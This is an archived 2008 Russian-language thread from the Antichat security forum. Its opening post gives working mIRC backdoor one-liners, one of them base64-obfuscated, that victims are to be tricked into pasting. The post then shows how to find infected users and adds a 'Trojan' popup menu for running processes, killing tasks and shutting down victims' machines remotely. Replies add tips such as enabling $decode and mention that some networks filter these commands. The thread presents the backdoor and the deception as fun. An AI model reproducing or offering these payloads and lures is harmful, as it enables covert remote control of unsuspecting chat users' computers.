ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
28.04.2008, 12:55
|
|
Постоянный
Регистрация: 04.07.2007
Сообщений: 827
Провел на форуме:
2504528
Репутация:
882
|
|
mirc backdoor
Интернет кишит статьями о том что можно заразить mirc клиент простейшим бэкдором, который будет работать через ctcp запросы, везде он описывается так:
Код:
//write conf.mrc ctcp 1:*:?:$1- | Load -rs conf.mrc
Это должна набрать наша жертва, тоесть создается файл-скрипт и подгружается в клиент.Но есть один огромный минус такого бэкдора - все наши ctcp запросы будут палиться в статусе. Как же этого избежать? Если покопаться в хэлпе то нетрудно найти алиас haltdef блокирующий стандартный ответ на вызванную команду\алиас\функцию.
Чуть чуть поэкпериментировав пришли к такому бэкдору
Код:
//write config.mrc ctcp ^*:*:*: { haltdef | $1- } | //Load -rs config.mrc
Но для человека хоть чуточку понимающего в скриптинге\кодинге покажется опасной такая строка.
Лучше просто обходить бдительных людей стороной или брать их на слабо  )
Благо mirc богат своими функциями и позволяет кодировать команды. В результате имеем такой код бэкдора
Код:
//write conf.mrc $decode(Y3RjcCBeKjoqOio6IHsgaGFsdGRlZiB8ICQxLSB9,m) | load -rs conf.mrc
Такое кажется втюхать соседям по чату труднее, но это только кажется, ведь все проявляют интерес что же это, можнопросто написать это на канале и найдутся те кто посмотрят, что она выполняет.
После того как вы попестрите этим сообщением нужно собирать первые плоды - например ctcp запрос на канал, который выявит заразившихся:
Код:
/ctcp #chan /ping $me
После сбора урожая в отдельный текстовичок можно приступить к работе с конкретными особями.
Вставим этот код в Скрипты(Alt+R)->Меню->Приват
Код:
Троян
.выполнить:/ctcp $$1 $$?="ВВеди чего хочешь делать"
.запуск процесса:/ctcp $$1 /run $$?="ВВеди название или путь к процессу"
.остановка процесса:/ctcp $$1 /run taskkill /F /IM $$?="ВВеди название или путь к процессу"
.смена ника:/ctcp $$1 /nick $$?="ВВеди ник"
.зайти на канал:/ctcp $$1 /join $$?="ВВеди канал"
.покинуть канал:/ctcp $$1 /part $$?="ВВеди канал"
.сказать:/ctcp $$1 /say $$?="Что сказать?"
.вырубить винду:/ctcp $$1 /run exitwindows
.перезагрузить комп:/ctcp $$1 /run shutdown -r -f -m
Удачного веселья! |
|
|
28.04.2008, 13:40
|
|
Постоянный
Регистрация: 21.03.2008
Сообщений: 400
Провел на форуме:
1606680
Репутация:
367
|
|
вообще-то если ты такой бекдор успешно кому-то впарил, то тут уже можно и троян впаривать полноценный, главное знать хорошо командную строку. decode по умолчанию в мирке отключен, потому его сначала стоит включить
|
|
|
|
28.04.2008, 19:59
|
|
Постоянный
Регистрация: 04.07.2007
Сообщений: 827
Провел на форуме:
2504528
Репутация:
882
|
|
Сообщение от c411k
ебаа ты нам открыл глаза, боян шопездец.
заметь тут написано что тема боян, но в нее внесен важный новый аспект - отсутствие палевности твоего присутствия
|
|
|
|
03.05.2008, 07:54
|
|
Новичок
Регистрация: 26.04.2008
Сообщений: 11
Провел на форуме:
15580
Репутация:
0
|
|
Хы а кто миркой пользуеться? Лично я давно юзаю MegaIrc тама токого не катит ... |
|
|
|
03.05.2008, 11:32
|
|
Постоянный
Регистрация: 04.07.2007
Сообщений: 827
Провел на форуме:
2504528
Репутация:
882
|
|
Сообщение от 47726573684e
Хы а кто миркой пользуеться? Лично я давно юзаю MegaIrc тама токого не катит ...
сам mirc юзает минимальное количество людей, зато его производные и зточенные под себя скрипты юзает более половины пользователей IRC
|
|
|
|
03.05.2008, 11:43
|
|
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме:
2308963
Репутация:
309
|
|
Кстати во многих крупных ирц сетях (например dogm.net) стоит фильтр на такое. Так что требуется более извращенный метод))
|
|
|
|
03.05.2008, 11:45
|
|
Постоянный
Регистрация: 21.03.2008
Сообщений: 400
Провел на форуме:
1606680
Репутация:
367
|
|
/me использует нулевой мирк с своими написаными сверху скриптами
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
